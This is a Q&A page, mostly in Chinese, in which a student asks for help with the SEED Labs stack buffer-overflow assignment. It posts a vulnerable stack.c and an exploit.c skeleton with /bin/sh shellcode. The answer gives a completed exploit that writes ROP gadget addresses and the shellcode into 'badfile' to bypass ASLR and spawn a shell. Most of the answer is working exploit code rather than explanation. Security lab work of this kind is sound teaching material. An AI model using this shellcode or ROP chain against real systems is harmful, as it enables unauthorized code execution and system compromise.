缓冲区溢出，修改了Seedlab问题？

Question

在本实验中，我有exploit.c，stack.c和call_shellcode.c。 Stack.c已被修改，因此它打印出缓冲区地址和ebp地址。我在虚拟机上运行它，ubuntu 12.04 32位。

我必须使用易受攻击的程序stack.c并将代码放在exploit.c中，以便在运行我的堆栈可执行文件时创建一个shell。任何帮助表示赞赏。

Stack.c低于抱歉因为缩进不良，实际代码有正确的缩进。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

unsigned long int sp;


int cp(char *str)
{
//    unsigned long int sp;
char buffer[12];
asm("movl %%ebp, %0" : "=r" (sp));
printf("$ebp is 0X%lx\n",sp);

strcpy(buffer, str);

printf("Buffer is at address %p\n",(void*)(&buffer));
return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
cp(str);

printf("Returned Properly\n");
return 1;
}

而exploit.c低于以下。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"             /* xorl    %eax,%eax              */
"\x50"                 /* pushl   %eax                   */
"\x68""//sh"           /* pushl   $0x68732f2f            */
"\x68""/bin"           /* pushl   $0x6e69622f            */
"\x89\xe3"             /* movl    %esp,%ebx              */
"\x50"                 /* pushl   %eax                   */
"\x53"                 /* pushl   %ebx                   */
"\x89\xe1"             /* movl    %esp,%ecx              */
"\x99"                 /* cdq                            */
"\xb0\x0b"             /* movb    $0x0b,%al              */
"\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */ 


/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

我在我的堆栈可执行文件上运行gdb，使用gcc -o stack -z execstack -fno-stack-protector stack.c编译，并且发现缓冲区位于地址0xbffff134，ebp位于0xbffff148。我知道我必须以某种方式找到我的返回地址并使我的有效载荷在那个地址？有关缓冲区流量的一些帮助需要这个任务。

Answer 1

You need bypass ASLR, refer to the link below

https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-iii/

Find gadget:

pop ebx; ret;                                         // construct ebx value
add al, 0x08; add dword [ebx+0x5D5B04C4], eax; ret;   // construct eax value
add dword [ebx+0x0804A028], esp; call dword [0x08049F1C+eax*4]

• 构建eax和ebx值
• 将ESP值写入0804a020内存，然后执行

Modified exploit.c:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
    ;

int main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    int i;
    unsigned int *val = (unsigned int*)buffer;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    val[6] = 0x08048378;       /* pop ebx; ret; */
    val[7] = 0xaaa9a03c;       /* ebx */
    for(i=8; i<16; i++)        
        val[i] = 0x0804847c;   /* add al, 0x08; add dword [ebx+0x5D5B04C4], eax; ret; */
    val[16] = 0x08048378;      /* pop ebx; ret; */
    val[17] = 0xfffffff8;      /* ebx */
    val[18] = 0x08048462;      /* add dword [ebx+0x0804A028], esp; */
                               /* call dword [0x08049F1C+eax*4] */
    memcpy(&val[19], shellcode, sizeof(shellcode));

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
    return 0;
}